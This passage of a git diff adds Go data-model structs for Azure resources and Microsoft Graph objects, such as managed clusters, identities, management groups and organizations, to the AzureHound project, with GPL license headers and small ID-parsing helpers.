option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// Maintenance operations status. +type MaintenanceRedeployStatus struct { + // True if customer is allowed to perform maintenance. + IsCustomerInitiatedMaintenanceAllowed bool `json:"isCustomerInitiatedMaintenanceAllowed,omitempty"` + + // Message returned for the last maintenance operation. + LastOperationMessage string `json:"lastOperationMessage,omitempty"` + + // The last maintenance operation result code. + LastOperationResultCode enums.MaintenanceOperationCode `json:"lastOperationResultCode,omitempty"` + + // End time for the maintenance window. + MaintenanceWindowEndTime string `json:"maintenanceWindowEndTime,omitempty"` + + // Start time for the maintenance window. + MaintenanceWindowStartTime string `json:"maintenanceWindowStartTime,omitempty"` + + // End time for the pre maintenance window. + PreMaintenanceWindowEndTime string `json:"preMaintenanceWindowEndTime,omitempty"` + + // Start time for the pre maintenance window. + PreMaintenanceWindowStartTime string `json:"preMaintenanceWindowStartTime,omitempty"` +} diff --git a/models/azure/managed_by_tenant.go b/models/azure/managed_by_tenant.go new file mode 100644 index 0000000..50b2087 --- /dev/null +++ b/models/azure/managed_by_tenant.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Information about a tenant managing the subscription. +type ManagedByTenant struct { + // The tenant ID of the managing tenant. + TenantId uuid.UUID `json:"tenantId,omitempty"` +} diff --git a/models/azure/managed_cluster.go b/models/azure/managed_cluster.go new file mode 100644 index 0000000..e0aa74c --- /dev/null +++ b/models/azure/managed_cluster.go @@ -0,0 +1,52 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type ManagedCluster struct { + Entity + + ExtendedLocation ExtendedLocation `json:"extendedLocation,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Properties ManagedClusterProperties `json:"properties,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Plan Plan `json:"plan,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` + Zones []string `json:"zones,omitempty"` +} + +func (s ManagedCluster) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s ManagedCluster) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/managed_cluster_properties.go b/models/azure/managed_cluster_properties.go new file mode 100644 index 0000000..59d5bf7 --- /dev/null +++ b/models/azure/managed_cluster_properties.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Properties of the vault +type ManagedClusterProperties struct { + // The name of the AzureRM Resource Group the Managed Cluster's Virtual Machine Scale Set resides + NodeResourceGroup string `json:"nodeResourceGroup,omitempty"` +} diff --git a/models/azure/managed_disk_params.go b/models/azure/managed_disk_params.go new file mode 100644 index 0000000..f48da6f --- /dev/null +++ b/models/azure/managed_disk_params.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// The parameters of a managed disk. +type ManagedDiskParameters struct { + // Specifies the customer managed disk encryption set resource id for the managed disk. + DiskEncryptionSet DiskEncryptionSetParameters `json:"diskEncryptionSet,omitempty"` + + // Resource ID. + Id string `json:"id,omitempty"` + + // Specifies the storage account type for the managed disk. NOTE: UltraSSD_LRS can only be used with data disks, + // it cannot be used with OS Disk. + StorageAccountType enums.StorageType `json:"storageAccountType,omitempty"` +} diff --git a/models/azure/managed_identity.go b/models/azure/managed_identity.go new file mode 100644 index 0000000..ff0f946 --- /dev/null +++ b/models/azure/managed_identity.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// Deprecated, use ManagedIdentity +type VirtualMachineIdentity ManagedIdentity + +// Managed identity. +type ManagedIdentity struct { + // The principal id of the managed identity. The property will only be provided for a system assigned + // identity. + PrincipalId string `json:"principalId,omitempty"` + + // The tenant id associated with the managed identity. This property will only be provided for a system assigned + // identity. + TenantId string `json:"tenantId,omitempty"` + + // The type of identity used. + Type enums.Identity `json:"type,omitempty"` + + // The list of user identities associated with the Managed identity. The user identity dictionary key references will be + // ARM resource ids in the form: + // '/subscriptions/{subscriptionId}/resourceGroups/{groupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/{identityName}' + UserAssignedIdentities map[string]UserAssignedIdentity `json:"userAssignedIdentities,omitempty"` +} diff --git a/models/azure/management_group.go b/models/azure/management_group.go new file mode 100644 index 0000000..761c7f5 --- /dev/null +++ b/models/azure/management_group.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ManagementGroup struct { + Entity + + // The name of the management group. E.g. 00000000-0000-0000-0000-000000000000 + Name string `json:"name,omitempty"` + + // The properties of the management group. + Properties ManagementGroupProperties `json:"properties,omitempty"` + + // The type of resource: "Microsoft.Management/managementGroups" + Type string `json:"type,omitempty"` +} diff --git a/models/azure/management_group_child_info.go b/models/azure/management_group_child_info.go new file mode 100644 index 0000000..4fab42b --- /dev/null +++ b/models/azure/management_group_child_info.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The child information of a management group. +type ManagementGroupChildInfo struct { + Children []ManagementGroupChildInfo `json:"children,omitempty"` + DisplayName string `json:"displayName,omitempty"` + Id string `json:"id,omitempty"` + Name string `json:"name,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/management_group_details.go b/models/azure/management_group_details.go new file mode 100644 index 0000000..a2f78cd --- /dev/null +++ b/models/azure/management_group_details.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ManagementGroupDetails struct { + Parent ParentGroupInfo `json:"parent,omitempty"` + Path []ManagementGroupPathElement `json:"path,omitempty"` + UpdatedBy string `json:"updatedBy,omitempty"` + UpdatedTime string `json:"updatedTime,omitempty"` + Version int `json:"version,omitempty"` +} diff --git a/models/azure/management_group_path_elem.go b/models/azure/management_group_path_elem.go new file mode 100644 index 0000000..95e53a5 --- /dev/null +++ b/models/azure/management_group_path_elem.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ManagementGroupPathElement struct { + DisplayName string `json:"displayName,omitempty"` + Name string `json:"name,omitempty"` +} diff --git a/models/azure/management_group_props.go b/models/azure/management_group_props.go new file mode 100644 index 0000000..4754107 --- /dev/null +++ b/models/azure/management_group_props.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The properties of the management group. +type ManagementGroupProperties struct { + // The list of children. + Children []ManagementGroupChildInfo `json:"children,omitempty"` + + // The details of the management group. + Details ManagementGroupDetails `json:"details,omitempty"` + + // The friendly name of the management group. + DisplayName string `json:"displayName,omitempty"` + + // The Azure AD Tenant ID associated with the management group. E.g. 00000000-0000-0000-0000-000000000000 + TenantId string `json:"tenantId,omitempty"` +} diff --git a/models/azure/name_value_pair.go b/models/azure/name_value_pair.go new file mode 100644 index 0000000..da041a3 --- /dev/null +++ b/models/azure/name_value_pair.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type NameValuePair struct { + Name string `json:"name,omitempty"` + Value string `json:"value,omitempty"` +} diff --git a/models/azure/network_interface_ref.go b/models/azure/network_interface_ref.go new file mode 100644 index 0000000..b43c6df --- /dev/null +++ b/models/azure/network_interface_ref.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a network interface reference. +type NetworkInterfaceReference struct { + // Resource ID. + Id string `json:"id,omitempty"` + + Properties NetworkInterfaceReferenceProperties `json:"properties,omitempty"` +} diff --git a/models/azure/network_interface_reference_props.go b/models/azure/network_interface_reference_props.go new file mode 100644 index 0000000..7737191 --- /dev/null +++ b/models/azure/network_interface_reference_props.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type NetworkInterfaceReferenceProperties struct { + // Specify what happens to the network interface when the VM is deleted. + DeleteOption enums.VMDeleteOption `json:"deleteOption,omitempty"` + + // Specifies the primary network interface in case the virtual machine has more than 1 network interface. + Primary bool `json:"primary,omitempty"` +} diff --git a/models/azure/network_profile.go b/models/azure/network_profile.go new file mode 100644 index 0000000..8c6ff82 --- /dev/null +++ b/models/azure/network_profile.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the network interfaces or the networking configuration of the virtual machine. +type NetworkProfile struct { + // Specifies the Microsoft.Network API version used when creating networking resources in the Network Interface + // Configurations. + NetworkApiVersion string `json:"networkApiVersion,omitempty"` + + // Specifies the networking configurations that will be used to create the virtual machine networking resources. + NetworkInterfaceConfigurations []VirtualMachineNetworkInterfaceConfiguration `json:"networkInterfaceConfigurations,omitempty"` + + // Specifies the list of resource Ids for the network interfaces associated with the virtual machine. + NetworkInterfaces []NetworkInterfaceReference `json:"networkInterfaces,omitempty"` +} diff --git a/models/azure/network_rule_set.go b/models/azure/network_rule_set.go new file mode 100644 index 0000000..5f27fe0 --- /dev/null +++ b/models/azure/network_rule_set.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// A set of rules governing the network accessibility of a vault. +type NetworkRuleSet struct { + // Tells what traffic can bypass network rules. This can be 'AzureServices' or 'None'. + // If not specified the default is 'AzureServices'. + Bypass enums.BypassOption `json:"bypass,omitempty"` + + // The default action when no rule from ipRules and from virtualNetworkRules match. + // This is only used after the bypass property has been evaluated. + DefaultAction enums.NetworkAction `json:"defaultAction,omitempty"` + + // The list of IP address rules. + IPRules []IPRule `json:"ipRules,omitempty"` + + // The list of virtual network rules. + VirtualNetworkRules []VirtualNetworkRule `json:"virtualNetworkRules,omitempty"` +} diff --git a/models/azure/object_identity.go b/models/azure/object_identity.go new file mode 100644 index 0000000..44569bb --- /dev/null +++ b/models/azure/object_identity.go @@ -0,0 +1,55 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// Represents an identity used to sign in to a user account. An identity can be provided by Microsoft (a.k.a. local +// account), by organizations, or by 3rd party identity providers such as Facebook or Google that are tied to a user +// account. +// Note: For `$filter` both {@link Issuer} and {@link IssuerAssignedId} must be supplied. +// For more detail, see https://docs.microsoft.com/en-us/graph/api/resources/objectidentity?view=graph-rest-1.0 +type ObjectIdentity struct { + // Specifies the user sign-in types in your directory. + // Federated represents a unique identifier for a user from an issuer, that can be in any format chosen by the + // issuer. + // Setting or updating a UserPrincipalName identity will update the value of the userPrincipalName property on the + // user object. The validations performed on the userPrincipalName property on the user object, for example, + // verified domains and acceptable characters, will be performed when setting or updating a UserPrincipalName + // identity. + // Additional validation is enforced on issuerAssignedId when the sign-in type is set to Email or UserName. + // This property can also be set to any custom string; use string(SignInType) or enums.signintype(someValue) to + // convert appropriately. + SignInType enums.SigninType `json:"signInType,omitempty"` + + // Specifies the issuer of the identity. + // **Notes:** + // * For local accounts where {@link SignInType} is not `federated`, the value is the local B2C tenant default domain + // name. + // * For external users from other Azure AD organizations, this will be the domain of the federated organization. + // + // Supports `$filter` w/ 512 character limit. + Issuer string `json:"issuer,omitempty"` + + // Specifies the unique identifier assigned to the user by the issuer. The combination of issuer and + // issuerAssignedId must be unique within the organization. + // For more detail, see https://docs.microsoft.com/en-us/graph/api/resources/objectidentity?view=graph-rest-1.0 + // + // Supports `$filter` w/ 100 character limit + IssuerAssignedId string `json:"issuerAssignedId,omitempty"` +} diff --git a/models/azure/onprem_ext_attributes.go b/models/azure/onprem_ext_attributes.go new file mode 100644 index 0000000..d5019c0 --- /dev/null +++ b/models/azure/onprem_ext_attributes.go @@ -0,0 +1,48 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The return type of the onPremisesExtensionAttributes property of the user object and extensionAttributes property of +// the device object. +// Returns fifteen custom extension attribute properties. +// +// On the user entity and for an onPremisesSyncEnabled user, the source of authority for this set of properties is the +// on-premises Active Directory which is synchronized to Azure AD, and is read-only. For a cloud-only user (where +// onPremisesSyncEnabled is false), these properties can be set during creation or update. If a cloud-only user was +// previously synced from on-premises Active Directory, these properties cannot be managed via the Microsoft Graph API. +// Instead, they can be managed through the Exchange Admin Center or the Exchange Online V2 module in PowerShell. +// +// The extensionAttributes property of the device entity is managed only in Azure AD during device creation or update. +// Note: These extension attributes are also known as Exchange custom attributes 1-15. +type OnPremisesExtensionAttributes struct { + ExtensionAttribute1 string `json:"extensionAttribute1,omitempty"` + ExtensionAttribute2 string `json:"extensionAttribute2,omitempty"` + ExtensionAttribute3 string `json:"extensionAttribute3,omitempty"` + ExtensionAttribute4 string `json:"extensionAttribute4,omitempty"` + ExtensionAttribute5 string `json:"extensionAttribute5,omitempty"` + ExtensionAttribute6 string `json:"extensionAttribute6,omitempty"` + ExtensionAttribute7 string `json:"extensionAttribute7,omitempty"` + ExtensionAttribute8 string `json:"extensionAttribute8,omitempty"` + ExtensionAttribute9 string `json:"extensionAttribute9,omitempty"` + ExtensionAttribute10 string `json:"extensionAttribute10,omitempty"` + ExtensionAttribute11 string `json:"extensionAttribute11,omitempty"` + ExtensionAttribute12 string `json:"extensionAttribute12,omitempty"` + ExtensionAttribute13 string `json:"extensionAttribute13,omitempty"` + ExtensionAttribute14 string `json:"extensionAttribute14,omitempty"` + ExtensionAttribute15 string `json:"extensionAttribute15,omitempty"` +} diff --git a/models/azure/onprem_provisioning_error.go b/models/azure/onprem_provisioning_error.go new file mode 100644 index 0000000..8bc1b4a --- /dev/null +++ b/models/azure/onprem_provisioning_error.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents directory synchronization errors for the user, group and orgContact resources when synchronizing +// on-premises directories to Azure Active Directory. +type OnPremisesProvisioningError struct { + // Category of the provisioning error. Note: Currently, there is only one possible value. + // Possible value: PropertyConflict - indicates a property value is not unique. Other objects contain the same value + // for the property. + Category string `json:"category,omitempty"` + + // The date and time at which the error occurred. + OccurredDateTime string `json:"occurredDateTime,omitempty"` + + // Name of the directory property causing the error. Current possible values: UserPrincipalName or ProxyAddress. + PropertyCausingError string `json:"propertyCausingError,omitempty"` + + // Value of the property causing the error. + Value string `json:"value,omitempty"` +} diff --git a/models/azure/optional_claims.go b/models/azure/optional_claims.go new file mode 100644 index 0000000..542840a --- /dev/null +++ b/models/azure/optional_claims.go @@ -0,0 +1,59 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Contains an optional claim associated with an application . The idToken, accessToken, and saml2Token properties of +// the optionalClaims resource is a collection of optionalClaim. If supported by a specific claim, you can also modify +// the behavior of the optionalClaim using the additionalProperties property. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/optionalclaim?view=graph-rest-1.0 +type OptionalClaim struct { + // Additional properties of the claim. If a property exists in this collection, it modifies the behavior of the + // optional claim specified in the name property. + AdditionalProperties []string `json:"additionalProperties,omitempty"` + + // If the value is true, the claim specified by the client is necessary to ensure a smooth authorization experience + // for the specific task requested by the end user. The default value is false. + Essential bool `json:"essential,omitempty"` + + // The name of the optional claim. + Name string `json:"name,omitempty"` + + // The source (directory object) of the claim. + // There are predefined claims and user-defined claims from extension properties. If the source value is null, the + // claim is a predefined optional claim. If the source value is user, the value in the name property is the + // extension property from the user object. + Source string `json:"source,omitempty"` +} + +// Declares the optional claims requested by an application. An application can configure optional claims to be returned +// in each of three types of tokens (ID token, access token, SAML 2 token) it can receive from the security token +// service. An application can configure a different set of optional claims to be returned in each token type. +// +// Application developers can configure optional claims in their Azure AD apps to specify which claims they want in +// tokens sent to their application by the Microsoft security token service. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/optionalclaims?view=graph-rest-1.0 +type OptionalClaims struct { + // The optional claims returned in the JWT ID token. + IdToken []OptionalClaim `json:"idToken,omitempty"` + + // The optional claims returned in the JWT access token. + AccessToken []OptionalClaim `json:"accessToken,omitempty"` + + // The optional claims returned in the SAML token. + Saml2Token []OptionalClaim `json:"saml2Token,omitempty"` +} diff --git a/models/azure/organization.go b/models/azure/organization.go new file mode 100644 index 0000000..f3d4aeb --- /dev/null +++ b/models/azure/organization.go @@ -0,0 +1,140 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "fmt" +) + +// Represents the Azure Active Directory tenant that the user or application is signed in to +type Organization struct { + DirectoryObject + + // The collection of service plans associated with the tenant + AssignedPlans []AssignedPlan `json:"assignedPlans,omitempty"` + + // Telephone number for the organization. Although this is a string collection, only one number can be set for this + // property. + BusinessPhones []string `json:"businessPhones,omitempty"` + + // City name of the address for the organization. + City string `json:"city,omitempty"` + + // Country or region name of the address for the organization. + Country string `json:"country,omitempty"` + + // Country or region abbreviation for the organization in ISO 3166-2 format. + CountryLetterCode string `json:"countryLetterCode,omitempty"` + + // Timestamp of when the organization was created. The value cannot be modified and is automatically populated when + // the organization is created. The Timestamp type represents date and time information using ISO 8601 format and is + // always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // + // Read-only. + CreatedDateTime string `json:"createdDateTime,omitempty"` + + // Represents date and time of when the Azure AD tenant was deleted using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // + // Read-only. + DeletedDateTime string `json:"deletedDateTime,omitempty"` + + // The display name for the tenant. + DisplayName string `json:"displayName,omitempty"` + + // `true` if organization is Multi-Geo enabled; false if organization is not Multi-Geo enabled; + // + // null (default). + // Read-only. + IsMultipleDataLocationsForServicesEnabled bool `json:"isMultipleDataLocationsForServicesEnabled,omitempty"` + + MarketingNotificationEmails []string `json:"marketingNotificationEmails,omitempty"` + + // The time and date at which the tenant was last synced with the on-premises directory. + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // + // Read-only. + OnPremisesLastSyncDateTime string `json:"onPremisesLastSyncDateTime,omitempty"` + + // `true` if this object is synced from an on-premises directory; + // `false` if this object was originally synced from an on-premises directory but is no longer synced. + // `null` if this object has never been synced from an on-premises directory (default). + OnPremisesSyncEnabled *bool `json:"onPremisesSyncEnabled,omitempty"` + + // Postal code of the address for the organization. + PostalCode string `json:"postalCode,omitempty"` + + // The preferred language for the organization. + // Should follow ISO 639-1 Code; for example, `en`. + PreferredLanguage string `json:"preferredLanguage,omitempty"` + + // The privacy profile of an organization. + PrivacyProfile PrivacyProfile `json:"privacyProfile,omitempty"` + + ProvisionedPlans []ProvisionedPlan `json:"provisionedPlans,omitempty"` + + SecurityComplianceNotificationMails []string `json:"securityComplianceNotificationMails,omitempty"` + + SecurityComplianceNotificationPhones []string `json:"securityComplianceNotificationPhones,omitempty"` + + // State name of the address for the organization + State string `json:"state,omitempty"` + + // Street name of the address for the organization. + Street string `json:"streetAddress,omitempty"` + + TechnicalNotificationMails []string `json:"technicalNotificationMails,omitempty"` + + // The tenant type. Only available for 'Home' TenantCategory + TenantType string `json:"tenantType,omitempty"` + + // The collection of domains associated with this tenant. + VerifiedDomains []VerifiedDomain `json:"verifiedDomains,omitempty"` +} + +func (s Organization) ToTenant() Tenant { + var ( + defaultDomain string + domains []string + ) + + for _, domain := range s.VerifiedDomains { + if domain.IsDefault { + defaultDomain = domain.Name + } + domains = append(domains, domain.Name) + } + + return Tenant{ + Country: s.Country, + CountryCode: s.CountryLetterCode, + DefaultDomain: defaultDomain, + DisplayName: s.DisplayName, + Domains: domains, + Id: fmt.Sprintf("/tenants/%s", s.Id), + TenantType: s.TenantType, + TenantId: s.Id, + } +} + +type OrganizationList struct { + Count int `json:"@odata.count,omitempty"` // The total count of all results + NextLink string `json:"@odata.nextLink,omitempty"` // The URL to use for getting the next set of values. + Value []Organization `json:"value"` // A list of organizations. +} diff --git a/models/azure/os_disk.go b/models/azure/os_disk.go new file mode 100644 index 0000000..d43e47e --- /dev/null +++ b/models/azure/os_disk.go @@ -0,0 +1,78 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published 